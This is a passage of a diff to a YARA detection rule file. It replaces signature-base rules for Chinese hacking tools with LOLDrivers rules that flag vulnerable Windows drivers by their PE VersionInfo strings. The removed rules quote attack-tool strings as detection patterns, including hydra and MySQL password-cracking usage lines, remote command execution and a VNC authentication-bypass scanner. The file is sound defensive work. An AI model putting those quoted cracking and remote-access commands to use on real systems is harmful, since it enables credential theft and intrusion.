-		$s1 = "%d of %d target%s%scompleted, %lu valid password%s found" fullword ascii
-		$s2 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
-		$s3 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
-		$s4 = "[%d][smb] Host: %s Account: %s Error: PASSWORD EXPIRED" fullword ascii
-		$s5 = "[ERROR] SMTP LOGIN AUTH, either this auth is disabled" fullword ascii
-		$s6 = "\"/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect\"" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530079007300440072007600330053 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00330053002d0053006d00610072007400200053006f00660074007700610072006500200053006f006c007500740069006f006e007300200047006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002c0035002c0036002c0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0035002e0036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530079007300440072007600330053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079007300440072007600330053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530079007300440072007600330053002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300036002d0032003000310034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Srss_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_14AD : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file srss.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3a84fa58-ccd0-5cf0-b1e0-a8f2ca04fd3f"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1834-L1856"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c418b30d004051bbf1b2d3be426936b95b5fea6f"
-		logic_hash = "e674ac7a99a67e2ebe8b4c4232e3435dd041b794f6c08a87ef7b8179127d6fc7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "0501fc8b-cc72-5c03-97cf-411051119ccf"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10813-L10832"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "14adbf0bc43414a7700e5403100cff7fc6ade50bebfab16a17acf2fdda5a9da8"
+		logic_hash = "157a559b87310d33a96c77208afd4ae9ceea23df99417408e413dee0be507dd3"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "used pepack!" fullword ascii
-		$s1 = "KERNEL32.dll" fullword ascii
-		$s2 = "KERNEL32.DLL" fullword ascii
-		$s3 = "LoadLibraryA" fullword ascii
-		$s4 = "GetProcAddress" fullword ascii
-		$s5 = "VirtualProtect" fullword ascii
-		$s6 = "VirtualAlloc" fullword ascii
-		$s7 = "VirtualFree" fullword ascii
-		$s8 = "ExitProcess" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and ($x1 at 0) and filesize <14KB and all of ($s*)
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Ntgod : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Geintelligentplatformsinc_Gedevicedriver_Proficymachineedition_Build_CAC5 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file NtGod.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c2f0733d-5519-5cb8-b077-0ae8472400b4"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1858-L1874"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "adefd901d6bbd8437116f0170b9c28a76d4a87bf"
-		logic_hash = "77b9204add5d25dcc36eabc07cabea2bdc67a23873c2faf7706e7fba5ed53f8b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - GEDevDrv.SYS"
+		author = "Florian Roth"
+		id = "d90e2248-2b47-51d5-a3d2-06a7b61bc95d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10835-L10855"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cac5dc7c3da69b682097144f12a816530091d4708ca432a7ce39f6abe6616461"
+		hash = "51145a3fa8258aac106f65f34159d23c54b48b6d54ec0421748b3939ab6778eb"
+		logic_hash = "f3c26142b2f18490c79ea7a658397b9c029286a3040bf2159e3fcc76c4bbd788"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\temp\\NtGodMode.exe" ascii
-		$s4 = "NtGodMode.exe" fullword ascii
-		$s10 = "ntgod.bat" fullword ascii
-		$s19 = "sfxcmd" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004500200044006500760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004500200049006e00740065006c006c006900670065006e007400200050006c006100740066006f0072006d0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030003000200028004200750069006c0064002000350035003100370029 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030003000200028004200750069006c0064002000350035003100370029 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0047004500200044006500760069006300650020004400720069007600650072 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00660069006300790020004d0061006300680069006e0065002000450064006900740069006f006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00470045004400650076004400720076002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200032003000310031002c00200047004500200049006e00740065006c006c006900670065006e007400200050006c006100740066006f0072006d0073002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Vnclink : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrserverddkprovider_Cpuzsys_Windowsrserverddkdriver_3871 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file VNCLink.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "270dc14c-ac8f-58c2-b4ac-c10981e20a07"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1876-L1891"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cafb531822cbc0cfebbea864489eebba48081aa1"
-		logic_hash = "21328e2a871dfcfda47991a1f1e897efd27471420d644c09a94004cf5b0f9869"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz_x64.sys"
+		author = "Florian Roth"
+		id = "ddcb8217-640d-598d-9afd-a1c15d1bbb8c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10858-L10877"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3871e16758a1778907667f78589359734f7f62f9dc953ec558946dcdbe6951e3"
+		logic_hash = "5613c77f79128bc7ac3bbe698dcd8be2fca2f59cb60a40ed97f0c80ba9aff690"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\temp\\vncviewer4.log" fullword ascii
-		$s2 = "[BL4CK] Patched by redsand || http://blacksecurity.org" fullword ascii
-		$s3 = "fake release extendedVkey 0x%x, keysym 0x%x" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <580KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Tools_Ntcmd : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Lowleveldriver_F941 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file NTCmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "db3f28d6-dfe8-5c79-a11b-e31701e250d7"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1893-L1911"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a3ae8659b9a673aa346a60844208b371f7c05e3c"
-		logic_hash = "c2487306a0d82ab76a048c001361c25bcd61d0f7a57a3b22df1c70299f0a72ba"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - GPU-Z.sys"
+		author = "Florian Roth"
+		id = "a65168c0-5f0e-5871-867b-bab6f42b3c21"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10880-L10896"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f9418b5e90a235339a4a1a889490faca39cd117a51ba4446daa1011da06c7ecd"
+		logic_hash = "fdc81fdc11ac6db386f4c41c2c34ab9dbd8dd93836a6a91b9412288eca7f0411"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "pipecmd \\\\%s -U:%s -P:\"\" %s" fullword ascii
-		$s2 = "[Usage]:  %s <HostName|IP> <Username> <Password>" fullword ascii
-		$s3 = "pipecmd \\\\%s -U:%s -P:%s %s" fullword ascii
-		$s4 = "============By uhhuhy (Feb 18,2003) - http://www.cnhonker.net============" fullword ascii
-		$s5 = "=======================NTcmd v0.11 for HScan v1.20=======================" fullword ascii
-		$s6 = "NTcmd>" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f0077002d004c006500760065006c0020004400720069007600650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00360030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00360030002e0030002e0030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f0077002d004c006500760065006c0020004400720069007600650072 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000300034002d00320030003100300020002800630029002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Mysql_Pwd_Crack : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_37C6 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file mysql_pwd_crack.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3ddeb1c7-e124-5e9e-abcf-3856e0561165"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1913-L1930"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "57d1cb4d404688804a8c3755b464a6e6248d1c73"
-		logic_hash = "d272b98a6cf2749482ee501734d0043564ba528770161cb0ed4f032409305f22"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		id = "f4b17a75-3160-5a73-afe6-531c41fae197"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10899-L10918"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9"
+		logic_hash = "7ab6c3fe4c9cd61c171a71d631a8efc34121bac85e1abf5f281b150f4b6a77a5"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.txt" fullword ascii
-		$s2 = "Successfully --> username %s password %s " fullword ascii
-		$s3 = "zhouzhen@gmail.com http://zhouzhen.eviloctal.org" fullword ascii
-		$s4 = "-a automode  automatic crack the mysql password " fullword ascii
-		$s5 = "mysql_pwd_crack 127.0.0.1 -x 3306 -a" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Cmdshell64 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Toshibacorporation_Nchgbiosxsys_Toshibabiospackage_3143 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file CmdShell64.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f4d69be7-f717-53f7-873e-86acbb309106"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1932-L1951"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5b92510475d95ae5e7cd6ec4c89852e8af34acf1"
-		logic_hash = "fd8010ab2ab51feed62475f840ffaeef92cf1266c139b8f669b7fa5ff646fdab"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NCHGBIOS2x64.SYS"
+		author = "Florian Roth"
+		id = "c0a7d14e-65aa-51e1-a2c1-88a7c56dce57"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10921-L10940"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073"
+		logic_hash = "ce2da14c74299d4ad3ab5b882de8bfe810444f21711f2417291bd0298a480e71"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "C:\\Windows\\System32\\JAVASYS.EXE" fullword wide
-		$s2 = "ServiceCmdShell" fullword ascii
-		$s3 = "<!-- If your application is designed to work with Windows 8.1, uncomment the fol" ascii
-		$s4 = "ServiceSystemShell" fullword wide
-		$s5 = "[Root@CmdShell ~]#" fullword wide
-		$s6 = "Hello Man 2015 !" fullword wide
-		$s7 = "CmdShell" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00420049004f00530020005500700064006100740065002000440072006900760065007200200046006f0072002000570069006e0064006f007700730020007800360034002000450064006900740069006f006e }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0032002e0034002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0032002e0034002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0054004f00530048004900420041002000420049004f00530020005000610063006b006100670065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200031003900390039002d003200300031003200200054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ms_Viru_V : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_5439 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file v.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "88a01e7a-8210-5e0c-a9b8-b7c9b991e16b"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1953-L1971"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ecf4ba6d1344f2f3114d52859addee8b0770ed0d"
-		logic_hash = "028b589c11eeacb2edfeeaeaebf2da370e540cba964c9ebbb19e4c734afe190f"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "f35db7b6-8a4b-5c26-9e00-da5c1c7780e8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10943-L10960"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
+		hash = "ab2632a4d93a7f3b7598c06a9fdc773a1b1b69a7dd926bdb7cf578992628e9dd"
+		logic_hash = "d43a364d3f39951140fa3b3395f1d74c306558a6c6946f665873e72377345949"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "c:\\windows\\system32\\command.com /c " fullword ascii
-		$s2 = "Easy Usage Version -- Edited By: racle@tian6.com" fullword ascii
-		$s3 = "OH,Sry.Too long command." fullword ascii
-		$s4 = "Success! Commander." fullword ascii
-		$s5 = "Hey,how can racle work without ur command ?" fullword ascii
-		$s6 = "The exploit thread was unable to map the virtual 8086 address space" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320031002e00360033 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 3 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Vscan : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_30AB : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Vscan.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2d73d9c9-62cd-592f-a44e-0a0456c85a3c"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1973-L1990"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0365fe05e2de0f327dfaa8cd0d988dbb7b379612"
-		logic_hash = "2bbf0a3fb2b3fc9b646c6f8fc021f65a38e1b64edd74301481051541f8938902"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "cd4dd891-8d86-5afa-83ed-1ad0997608de"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10963-L10982"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "30abc0cc700fdebc74e62d574addc08f6227f9c7177d9eaa8cbc37d5c017c9bb"
+		logic_hash = "7e1f69495559ca298a05ef6fb3817799b09d66013bae574ec585d27ef89b4dcc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[+] Usage: VNC_bypauth <target> <scantype> <option>" fullword ascii
-		$s2 = "========RealVNC <= 4.1.1 Bypass Authentication Scanner=======" fullword ascii
-		$s3 = "[+] Type VNC_bypauth <target>,<scantype> or <option> for more informations" fullword ascii
-		$s4 = "VNC_bypauth -i 192.168.0.1,192.168.0.2,192.168.0.3,..." fullword ascii
-		$s5 = "-vn:%-15s:%-7d  connection closed" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00330030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300038 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Iis : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_DE8F : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file iis.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1992-L2011"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
